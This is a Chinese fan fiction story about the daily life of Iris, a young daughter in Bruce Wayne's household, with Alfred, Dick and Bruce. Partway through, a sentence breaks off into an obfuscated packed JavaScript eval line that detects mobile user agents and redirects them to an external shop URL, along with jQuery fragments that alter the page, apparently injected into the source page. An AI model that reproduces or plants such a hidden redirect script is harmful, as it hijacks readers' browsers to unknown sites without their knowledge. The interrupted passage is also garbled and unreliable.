艾瑞斯的房间里堆满了玩偶。
这不是夸张，是事实陈述。从床头到床尾，从窗台到书架，每一寸能放东西的平面都被占领了。最大的那只短吻鳄趴在飘窗上，中等体型的凯门鳄挤在衣柜顶端，最小的那几只——杰森称之为“鳄鱼宝宝突击队”——整整齐齐排列在床头柜上，每晚轮流值班守卫主人的睡眠。
而艾瑞斯的床边围着一圈鳄鱼玩偶。
最内层是精英守卫，正对着床铺。外层是常规部队，背对着房间。这种布阵方式是艾瑞斯自己设计的，灵感来源于某天下午看的动物纪录片——鳄鱼妈妈会围成一圈保护幼崽。现在她是被保护的那个。
aaa布鲁斯被她抱在怀里。
这只鳄鱼玩偶的名字叫“aaa布鲁斯”，因为它的名字和鳄鱼重合后每次她叫鳄鱼布鲁斯都会看向她。
布鲁斯本人对此没有发表评论。
此刻，aaa布鲁斯被艾瑞斯勒在胸前，扁扁的鳄鱼脸挤在她下巴底下。艾瑞斯睁着眼睛，望着天花板，暂时没有起床的想法。
她醒是醒了，但起床是另一回事。
——
介于艾瑞斯随时爱趴着玩的原因，她床下的地板都铺着厚厚的毛垫。
这是阿福的创意。自从某天发现艾瑞斯趴在地上画鳄鱼画到睡着之后，他就默默量了尺寸，定制了这整块的加厚羊毛垫。现在艾瑞斯可以从床上直接滚下来，在地垫上继续翻滚，完全不会着凉。
地垫是浅灰色的，艾瑞斯要求选的色号——“因为这样别人看她会觉得她看起来很深沉”。
艾瑞斯的起床时间最晚是八点半。
这是阿福的底线。
不是刻意的规定，而是多年的经验。如果八点半还没起床，艾瑞斯就会错过早餐的最佳温度，错过早晨的阳光，错过花园里小鸟最活跃的时候。阿福不忍心让她错过任何东西。
当然，还有一个更现实的原因：如果让她睡到九点，晚上她就会精神抖擞地缠着布鲁斯看动画片看到十一点。布鲁斯虽然嘴上不说，但第二天早上开会打哈欠的频率明显上升。
所以八点半，雷打不动。
艾瑞斯对此也有自己的解释：她起床后的第一件事就是坐在床上睡十分钟。她真的很困。她也不知道为什么，可能是遗传的吧。
布鲁斯不就是很贪睡吗？
嗯嗯，布鲁斯是一只大贪睡鬼，所以她贪睡也很正常。
这个逻辑链条非常完美。
——
八点二十五分。
阿尔弗雷德站在走廊里，望着那扇紧闭的卧室门。
门上挂着一块手绘的牌子，是艾瑞斯的每日更新项目。今天的牌子是浅粉色的卡纸，上面用彩色蜡笔画着一只胖乎乎的橘猫，猫的胡须翘向两边，尾巴高高扬起，旁边歪歪扭扭写着一行字：
［我要只咪咪］
字母的排列有些混乱，“咪”字写得特别大，占了两个字母的位置。但整体来看，还是能辨认出意思的。
阿福弯起唇角。
艾瑞斯每天都会更新她的门牌，顺便写一些内容。有时候是心情记录，比如［今天不开心］或者［阿福最好了］；有时候是许愿，比如［想吃草莓］或者［不要蔬菜汁］。如果发现门牌长期关于一个主题——比如连续三天都是“咪咪”——那基本可以确定，艾瑞斯又在许愿了。
她可以是这个庄园里最直接的人。想干什么、想要什么、想说什么，她都畅畅快快地表达出来，从不藏着掖着。
这一点让阿福有时想起年轻的布鲁斯。那时候的布鲁斯也是这样的，有什么想法就直接说，想出去玩就直接跑，开心就笑，难过就哭。
后来就变了。
但艾瑞斯还在那个年纪。阿福希望她能一直这样。
艾瑞斯特别爱许愿。
当她三岁第一次听到圣诞老人会送礼物的故事时，她非常乖巧地当了一天的好孩子。然后她就不再相信圣诞老人了。
原因很实际：离圣诞节还有很长的时间，她认为自己根本不可能每天都乖乖巧巧的。这太累了，不符合她的人生哲学。
但是其他小朋友都有圣诞老人的拜访，她也不能没有。
于是她在自己的门上画了一只橘猫。
艾瑞斯的画技很好——至少在四岁这个年龄段算是出类拔萃。她画的橘猫有圆滚滚的脸，翘翘的胡子，还有一条蓬松的大尾巴。她在猫头顶画了一顶红色的圣诞帽，在猫尾巴上画了一袋礼物。
这就是她的圣诞老人了。
她觉得让老爷爷到处送礼物是件很坏的事。那么大年纪了，还要爬烟囱，还要背着那么重的袋子，还要在雪地里走来走去。这不就是让布鲁斯去上班吗？这是虐待。
布鲁斯后来听说了这个评价。
布鲁斯：我的女儿别太善良。
——
八点二十八分。
房间里毫无动静。
阿福抬手看了看表。按经验，现在艾瑞斯应该已经醒了，正在经历她的“神志不清十分钟”。也许他不应该让她每天晚上都去找布鲁斯的——布鲁斯总是会在艾瑞斯的央求下让她多看一集动画片。
昨天是《动物星球·鳄鱼特辑》。
今天早上赖床是预料之中。
阿福耐心地等着。
——
八点三十五分。
门把手转动了。
艾瑞斯出现在门口。
她穿着鳄鱼睡衣。灰绿色的连体衣，背后有一条软趴趴的小尾巴，帽子是鳄鱼头的形状——大大的嘴巴张着，露出红色的内衬，里面是一张眯着眼的圆脸。
鳄鱼艾瑞斯伸出手，迷迷糊糊地抓向阿福的衣边。
阿福低下头，对上那张还没完全清醒的小脸。
“早安，艾瑞斯小姐。”
艾瑞斯没有回答。她只是攥着他的衣角，像一只小鸭子跟着鸭妈妈一样，迷迷糊糊地跟随着他的步伐下楼。
下楼的过程中她差点踩到自己的尾巴两次。
——
餐厅里飘着早餐的香气。
迪克坐在餐桌旁，手里端着一杯咖啡，眼睛却一直望着楼梯口。他一个月总会腾出时间回来看艾瑞斯，这次趁着假期，昨晚连夜开车回来的。
艾瑞斯出现在楼梯转角的那一刻，迪克的眼睛就亮了。
“艾瑞斯！”
他放下咖啡杯，大步走过去，一把将迷迷糊糊的小鳄鱼抱起来。
“让我看看我的小妹妹——哎，还穿着鳄鱼睡衣呢，今天是要变身吗？”
艾瑞斯在他怀里软绵绵地挂着，像一只没睡醒的小考拉。
迪克把她抱到儿童椅上，小心翼翼地放好，调整好靠垫的位置，又把餐巾围在她脖子上。虽然艾瑞斯并不需要这些——她四岁了，完全可以自己爬上椅子，自己系餐巾——但是迪克非常需要。
他需要抱抱她。需要感觉到她软乎乎的小身子在自己怀里。需要听到她迷迷糊糊的呼吸声。
这是他一个月一次的充电时间。
阿福端着早餐走过来，看着迪克一脸心满意足的样子，弯了弯唇角。
艾瑞斯是一位只有吃完早餐后才算真正醒的小女孩。在没吃早餐前，她都是乖宝宝状态，迪克可以随意地贴贴小妹妹。
此刻艾瑞斯正望着面前的牛奶发呆。她的眼睛半睁着，睫毛一颤一颤的，鳄鱼帽子还戴在头上，红色的鳄鱼嘴巴框着她困倦的小脸。
迪克趁机捏了捏她的脸。
艾瑞斯没有反抗。
迪克又捏了捏。
艾瑞斯还是没反抗。
迪克得寸进尺，把她头上的鳄鱼帽子往下拉了拉，盖住她的眼睛。
艾瑞斯终于动了。她把帽子推上去，看了迪克一眼，又低下头，开始喝牛奶。
迪克捂着心口，无声地尖叫。
——
早餐结束后，艾瑞斯终于正式苏醒了。
她放下牛奶杯，眨了眨眼睛，那双蓝汪汪的眼睛终于有了焦点。她看向迪克，又看向阿福，又看向窗外。
“今天太阳好好。”
她宣布。
迪克凑过来。“想出去玩吗？”
艾瑞斯想了想。“想。”
“想去哪？”
艾瑞斯没有立刻回答。她托着下巴，认真思考起来。
——
艾瑞斯喜欢外出游玩。
准确地说，她喜欢逛街。不是那种目的明确的购物，而是漫无目的地走，看外面多彩的世界。哥谭的街道对很多人来说是危险的，对艾瑞斯来说却是巨大的游乐场。
她喜欢看街边的橱窗。珠宝店的玻璃后面亮晶晶的，服装店的模特穿着奇怪的衣服，书店的门口堆着小山一样的图书。她喜欢看路上的行人。穿西装的叔叔，拎着菜篮的奶奶，抱着公文包匆匆走过的阿姨，牵着气球的小孩。
她喜欢看一切。
有一次迪克带她出去，她站在街角看了十五分钟的交通信号灯。红灯亮，绿灯亮，黄灯闪一闪。红灯亮，绿灯亮，黄灯闪一闪。
“你在看什么？”迪克问。
“它一直在变。”艾瑞斯说。
迪克不知道该怎么解释交通信号灯的原理，最后只是陪她一起站着，看了十五分钟。
——
今天，艾瑞斯的逛街目标又多了一个：她想买漂亮的东西。
“什么是漂亮的东西？”迪克问。
艾瑞斯想了想。“就是漂亮的。”
“比如说？”
艾瑞斯伸出一只手，开始数：“上次那个亮晶晶的发卡，上上次那个有闪粉的贴纸，上上上次那个会发光的小瓶子。”
迪克懂了。就是一切亮晶晶、闪粉粉、会让成年人觉得“这有什么用”的东西。
“走，”他站起来，“哥哥带你去买。”
———
艾瑞斯喜欢买东西。
不是那种“我要这个”的买，而是那种“这个好看，那个也好看，这个也好看，我都想要”的买。她的审美很直接——闪的、亮的、彩色的、会动的。至于有什么用，她不在乎。
布鲁斯对此有过评论：“她以后可能需要我们给很多零花钱。她只需要每天在街上走一圈，就能买回一堆亮晶晶的东西。”
阿福回答：“先生，小姐没有买。她捡了瓶盖和糖纸。”
布鲁斯沉默了一下。“……她说那是宝石。”
阿福微笑。“是的，先生。她说那是宝石。”
——
迪克带着艾瑞斯出了门。
她换掉了鳄鱼睡衣，穿上了黄色的短袖与背带裤，白色的袜子，圆头的小皮鞋。但她坚持要把鳄鱼帽子带上，顶在头上，像一顶奇怪的帽子。
迪克没有反对。
哥谭的街道今天难得的安静。阳光从高楼大厦的缝隙里漏下来，在地上铺出一块一块的光斑。艾瑞斯走在光斑里，踩一下，跳过去，再踩一下，再跳过去。
迪克跟在她后面，看着她蹦蹦跳跳的背影。
他们路过一家饰品店。艾瑞斯停了下来，鼻子几乎贴在玻璃上。
橱窗里摆着一排发卡。粉色的蝴蝶结，银色的星星，彩色的花朵，还有一只小鳄鱼。
艾瑞斯的眼睛亮了。
“那个！”
她指着小鳄鱼发卡。
迪克弯下腰看了看。“哪个？”
“那个！鳄鱼！”
迪克仔细辨认了一下。那确实是一只鳄鱼——绿色的，长嘴巴，短腿，趴在一朵花旁边。如果不仔细看，很容易被当成一只胖蜥蜴。
“走，”迪克拉起她的手，“进去买吧。”
——
艾瑞斯抱着小鳄鱼发卡走出店门，脸上带着心满意足的笑容。
她把发卡举起来，对着阳光看了看。小鳄鱼在光线下闪着绿色的光泽，眼睛是两颗小小的黑珠子。
“它好看。”她宣布。
“嗯，好看。”迪克附和。
艾瑞斯把发卡小心翼翼地装进口袋，然后又抬起头，望着街对面。
街角有一家书店，门口堆着小山一样的图书。旁边有一家面包店，玻璃柜里摆着金黄色的牛角包。再往前，有一家玩具店，橱窗里摆着一只巨大的毛绒熊。
艾瑞斯的视线在那些橱窗之间来回移动。
“还想逛吗？”迪克问。
艾瑞斯点点头。
“那就逛。”
迪克拉起她的手，走向下一个橱窗。
——
下午三点，艾瑞斯抱着战利品回到家。
小鳄鱼发卡别在她的头发上，一闪一闪的。手腕上套着一个彩色的塑料手环，是路边摊的阿姨送的。口袋里装着三颗亮晶晶的玻璃珠，是她从公园沙坑里挖出来的。
她的脸因为兴奋而红扑扑的。
布鲁斯站在门厅里，看着自己的女儿像一只小蝴蝶一样飘进来。
“爸爸！”艾瑞斯跑过去，高高举起手腕，“你看！”
布鲁斯低头看了看那个塑料手环。粉色的，上面印着卡通独角兽，边缘还有一点毛刺。
“好看。”他说。
“这个是送的！”艾瑞斯又掏出口袋里的玻璃珠，“这个是我挖到的！这个是宝石！”
布鲁斯接过那三颗玻璃珠，认真地看了看。
“确实是宝石。”他说。
艾瑞斯满意地收回她的宝藏，然后忽然想起什么，踮起脚，指着自己头上的发卡。
“这个！这个是鳄鱼！”
布鲁斯弯下腰，仔细端详那只小鳄鱼发卡。
绿色的，长嘴巴，短腿，眼睛是两颗黑珠子。
“很配你。”他说。
艾瑞斯笑得眼睛弯起来。
——
晚上，艾瑞斯窝在客厅的沙发上看电视。
迪克坐在她旁边，布鲁斯坐在另一侧的单人沙发里，手里拿着一份文件，但眼睛时不时飘向电视屏幕。
艾瑞斯什么都爱看。
动物纪录片是首选，尤其是关于鳄鱼的。她可以目不转睛地看完整整一集，然后缠着阿福问一百个问题。科普节目她也喜欢，虽然有些概念她还听不懂，但她喜欢那些花花绿绿的画面。
动画片当然也看，但她不是那种只认准一部的孩子。今天看这个，明天看那个，全凭心情。有时候看到一半觉得没意思，就换台，换到有意思的为止。
最让家人意外的是，她还爱看一些“大人”的节目。
有一次迪克在看犯罪剧，艾瑞斯凑过来，看了十分钟，然后指着屏幕说：“他是坏的。”
迪克震惊。“你怎么知道？”
“他的眉毛这样。”艾瑞斯学着那个演员的样子，把眉毛往下压了压。老实是她这个年龄干什么都很可爱，特别是在模仿别人表情的时候。所以艾瑞斯很容易被她的狂热粉丝迪克奖励亲吻，所以被奖励方似乎是迪克。
迪克后来专门留意了一下，发现那个角色真的是反派。
还有一次，布鲁斯在看新闻，艾瑞斯爬到他腿上，跟着看了一会儿。画面里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244853|197845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正在播报某位政客的演讲。
“他在说谎。”艾瑞斯说。
布鲁斯低头看她。“怎么看出来的？”
“他笑得不真。”艾瑞斯指了指自己的脸，“嘴巴在笑，眼睛没笑。”
布鲁斯沉默了一会儿，把那句话记在了心里。
——
今天电视里播的是自然风光纪录片。
画面里是一片热带雨林，阳光从树冠的缝隙里漏下来，在地上铺出斑驳的光影。一只树懒挂在树枝上，慢吞吞地移动。
艾瑞斯看得入神。
“它好慢。”她说。
“嗯，树懒就是很慢。”迪克解释。
“为什么？”
“因为……它就这样。”
艾瑞斯接受了这个答案。
画面切换到另一片森林，一群猴子在树枝间跳来跳去。艾瑞斯看了一会儿，忽然说：“它们好开心。”
“你怎么知道它们开心？”
“它们一直在笑。”
迪克看了看屏幕。他不知道那些猴子是不是真的在笑，但艾瑞斯说是，那就是吧。
——纪录片播完了，切换到广告。
艾瑞斯从沙发上滑下来，走到窗边，趴在窗台上看外面的花园。
太阳已经西斜，花园里的影子被拉得很长。玫瑰花开得正好，红的、粉的、黄的，挤挤挨挨地凑在一起。喷泉在夕阳下闪着细碎的光。
“今天开心吗？”迪克走过来，蹲在她旁边。
艾瑞斯想了想。
她想起早上的赖床，想起阿福在门口等她的样子，想起迪克抱她坐上餐椅的手，想起街上亮晶晶的橱窗，想起小鳄鱼发卡，想起塑料手环，想起三颗“宝石”，想起电视里的树懒和猴子，想起窗外的花园和夕阳。
“开心。”她说。
迪克笑了，伸手揉了揉她的头发。
——
晚餐时分，艾瑞斯坐在她的儿童椅上，面前摆着阿福精心准备的晚餐。
蔬菜泥，肉丸，土豆泥，还有一小碗水果。
艾瑞斯对着蔬菜泥皱起眉头。
“先吃完蔬菜，再吃肉丸。”阿福温和地说。
艾瑞斯看看蔬菜泥，又看看肉丸，拿起勺子，舀了一小口蔬菜泥，送进嘴里。
她的眉头皱得更紧了。
但还是一口一口地吃完了。
布鲁斯坐在主位，看着女儿一脸苦大仇深地吃蔬菜，嘴角微微翘起。
吃完蔬菜泥，艾瑞斯立刻抓起肉丸，咬了一大口。
“我觉得我们可以召开一次国际会议讨论如何消灭蔬菜……”她深沉的说到。
“我觉得这恐怕不行”迪克说，“艾瑞斯女士。”
艾瑞斯看向迪克，又咬了一口肉丸。
“迪克先生你是蔬菜请来的说客吗……”眼神变得危险起来。
看着模仿着昨天密谋案里侦探的艾瑞斯，布鲁斯发誓他真的真的不会让艾瑞斯再看那么多的电视剧了。
艾瑞斯然后忽然想起什么，看向布鲁斯。
“这位布鲁斯先生，你小时候也吃蔬菜泥吗？”
布鲁斯顿了顿。
“……吃。”
“你喜欢吗？”
布鲁斯沉默了一秒。
“……喜欢。”
艾瑞斯不满意的摇摇头一副爸爸我对你很失望的模样，看向阿福。
“阿福说过爸爸小时候挑食。”
阿福微笑着看了布鲁斯一眼。
“是的，小姐。我记得很清楚。”
布鲁斯端起咖啡杯，挡住了自己的脸。
——
晚餐后，艾瑞斯照例去找布鲁斯。
这是她每天晚上的保留项目。不管白天玩得多疯，晚上总要来布鲁斯的房间待一会儿。有时候是看动画片，有时候是听故事，有时候什么都不做，就是窝在他怀里发呆。
今天她带着aaa布鲁斯一起来的。
布鲁斯坐在床沿，看着女儿抱着那只鳄鱼玩偶爬上来，熟练地钻进他怀里。
“今天玩得开心吗？”他问。
“开心。”艾瑞斯把aaa布鲁斯放在腿上，一下一下地捏它的肚子。
“买了什么？”
艾瑞斯抬起头，让他看头上的发卡。
布鲁斯早就看到了。那个绿色的小鳄鱼发卡，别在她浅灰黑的头发上，像一个小小的守护者。
“很好看。”他说。
艾瑞斯笑得眯起眼睛。
窗外，哥谭的夜渐渐深了。
但韦恩大宅的这间卧室里，灯还亮着。一个父亲，一个女儿，一只会叫的鳄鱼玩偶，还有无数个平凡的夜晚。
艾瑞斯打了个哈欠。
布鲁斯低头看了看她。“困了？”
“有一点。”
“回房间睡？”
艾瑞斯摇摇头，往他怀里拱了拱。
布鲁斯没有动。
过了一会儿，艾瑞斯的声音闷闷地传来：“爸爸。”
“嗯。”
“明天我想在门牌上写［阿福很好］。”
“可以。”
“后天写［迪克也很好］。”
“可以。”
“大后天写［杰森也还好］。”
“……可以。”
“大大后天写——”
“你可以每天换一个，”布鲁斯打断她，“只要记得写我就行。”
艾瑞斯抬起头，眨眨眼睛。
“你也要吗？”
布鲁斯看着女儿那双蓝汪汪的眼睛，忽然有点不自在。
“……随便。”
艾瑞斯盯着他看了三秒，然后笑了。她把脸埋回他怀里，声音闷闷的：
“好吧。那我写［爸爸是贪睡鬼］。”
布鲁斯：“……”
———
那天晚上，艾瑞斯在布鲁斯怀里睡着了。
布鲁斯把她抱回她的房间，轻轻放在床上，给她盖好被子。那群鳄鱼玩偶围成一圈，守护着它们的小主人。
布鲁斯站在床边，看了一会儿。
然后他俯下身，在女儿额头上落下一个吻。
他起身要走的时候，艾瑞斯忽然动了动，含糊地咕哝了一声。
“……谢谢。”
布鲁斯顿住。
但艾瑞斯没有醒。她只是翻了个身，把aaa布鲁斯抱进怀里，继续沉睡。
布鲁斯站在原地，沉默了很久。
然后他轻轻带上门，走进了哥谭的夜。
——
第二天早晨，八点二十五分。
阿尔弗雷德站在走廊里，望着那扇紧闭的卧室门。
门上挂着一块新的牌子。
淡蓝色的卡纸，用彩色蜡笔画着两个小人——一个大大的，穿着黑色的衣服；一个小小的，穿着绿色的鳄鱼睡衣。两个小人手拉着手，旁边歪歪扭扭写着一行字：
［爸爸是贪睡鬼 ，大家别把这个秘密说出去。］
阿福弯起唇角。
新的一天。八点三十五分，门把手转动了。
艾瑞斯出现在门口，穿着她的鳄鱼睡衣，怀里抱着aaa布鲁斯，迷迷糊糊地伸出手，抓住阿福的衣角。
阿福低下头，对上那张还没完全清醒的小脸。
“早安，艾瑞斯小姐。”
艾瑞斯眨了眨眼睛，还没完全醒过来，但嘴角已经翘起来了。
“早安，阿福。”
这就是艾瑞斯平常的一天。